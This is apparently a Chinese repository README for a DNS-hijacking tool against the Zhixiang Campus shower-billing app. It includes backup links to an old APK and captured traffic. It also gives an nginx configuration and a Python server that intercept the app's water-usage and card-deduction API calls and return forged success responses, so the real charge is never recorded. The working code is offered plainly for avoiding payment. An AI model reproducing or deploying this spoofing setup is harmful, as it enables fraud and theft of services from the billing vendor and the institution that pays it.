智享校园洗澡工具dns劫持
为防止智享校园更新导致脚本无法使用,在此备份1.3.3_48版本的apk。https://www.dropbox.com/s/6en86prtm6yfqp9/zhixiang-1.3.3_48.apk?dl=0
用法:设法将api.anjie-elec.cn解析到你的服务器,启动nginx接收https请求,转发给python实现的http server并拦下扣费数据报即可。
为防止智享校园修改线上页面,修改api接口,并由此禁止旧版本的使用。在此对1.3.3_48版本的所有数据报进行备份,以备后续使用。 注意,备份时清空了数据,使用了vpn ssl capture(因此有一些对图片的http请求被改成了本地文件名),将数据包中我的手机号修改为了11122223333,密码为123456。然后成功登陆,并进行了一次洗澡,消费0.21元。https://recolic.net/tmp/zhixiang-packages.tar.gz
server {
listen 443 ssl;
server_name api.anjie-elec.cn;
# use `server_name api.anjie-elec.*` if your server has problem starting nginx. (nginx: [emerg] host not found in upstream )
# You may use a self-signed certificate, or just use an invalid certificate. That's OK.
ssl_certificate "/path/to/random/invalid/certificate.cer";
ssl_certificate_key "/path/to/random/invalid/certificate.cer";
location ~ /api/usewater/Add {
proxy_pass http://localhost:25502;
}
location ~ /api/cashtopup/UpdateCardUsedAmount {
proxy_pass http://localhost:25502;
}
location / {
proxy_pass https://api.anjie-elec.cn;
}
}
#!/usr/bin/env python3
import http.server, socketserver
import hashlib
import random
import subprocess
listen_port = 25502
class my_handler(http.server.BaseHTTPRequestHandler):
def do_HEAD(self):
self.send_response(200)
self.send_header("Content-type", "text/plain; charset=utf-8")
self.end_headers()
def do_GET(self):
self.send_response(403)
self.send_header("Content-type", "text/plain; charset=utf-8")
self.end_headers()
self.wfile.write('this server only accepts post.'.encode('utf-8'))
def do_POST(self):
self.send_response(200)
if self.path.startswith('/api/usewater/Add?accessToken='):
self.send_header("Server","marco/2.1")
self.send_header("Date","Fri, 27 Apr 2018 05:33:27 GMT")
self.send_header("Content-Type","text/json; charset=utf-8")
self.send_header("Content-Length","82")
self.send_header("Connection","keep-alive")
self.send_header("X-Source","C/200")
self.send_header("Cache-Control","no-cache")
self.send_header("X-Aspnet-Version","4.0.30319")
self.send_header("Pragma","no-cache")
self.send_header("Expires","-1")
self.send_header("X-Powered-By","ASP.NET")
self.send_header("Accept-Ranges","bytes")
self.send_header("X-Request-Id","21a2827b6e9e720a4fdd63b15faa120e")
self.send_header("Via","S.mix-js-czx-099, T.100.-, V.mix-js-czx-104, T.199.-, M.ctn-hb-eez-199")
self.end_headers()
self.wfile.write('{"status":true,"errormsg":"记录成功!","code":1,"OrderId":"104871845A503324"}'.encode('utf-8'))
return
if self.path.startswith('/api/cashtopup/UpdateCardUsedAmount?accessToken='):
self.send_header("Server","marco/2.1")
self.send_header("Date","Fri, 27 Apr 2018 05:33:31 GMT")
self.send_header("Content-Type","text/json; charset=utf-8")
self.send_header("Content-Length","44")
self.send_header("Connection","keep-alive")
self.send_header("X-Source","C/200")
self.send_header("Cache-Control","no-cache")
self.send_header("X-Aspnet-Version","4.0.30319")
self.send_header("Pragma","no-cache")
self.send_header("Expires","-1")
self.send_header("X-Powered-By","ASP.NET")
self.send_header("Accept-Ranges","bytes")
self.send_header("X-Request-Id","b345beace43c4b23ecd8cf0ecaeea269")
self.send_header("Via","S.mix-js-czx-105, T.107.-, V.mix-js-czx-106, T.196.-, M.ctn-hb-eez-199")
self.end_headers()
self.wfile.write('{"status":true,"errormsg":"记录成功!"}'.encode('utf-8'))
return
self.send_response(403)
self.send_header("Content-type", "text/plain; charset=utf-8")
self.end_headers()
self.wfile.write('invalid post query.'.encode('utf-8'))
try:
server = http.server.HTTPServer(('', listen_port), my_handler)
print('Listening *:' + str(listen_port))
server.serve_forever()
except KeyboardInterrupt:
server.socket.close()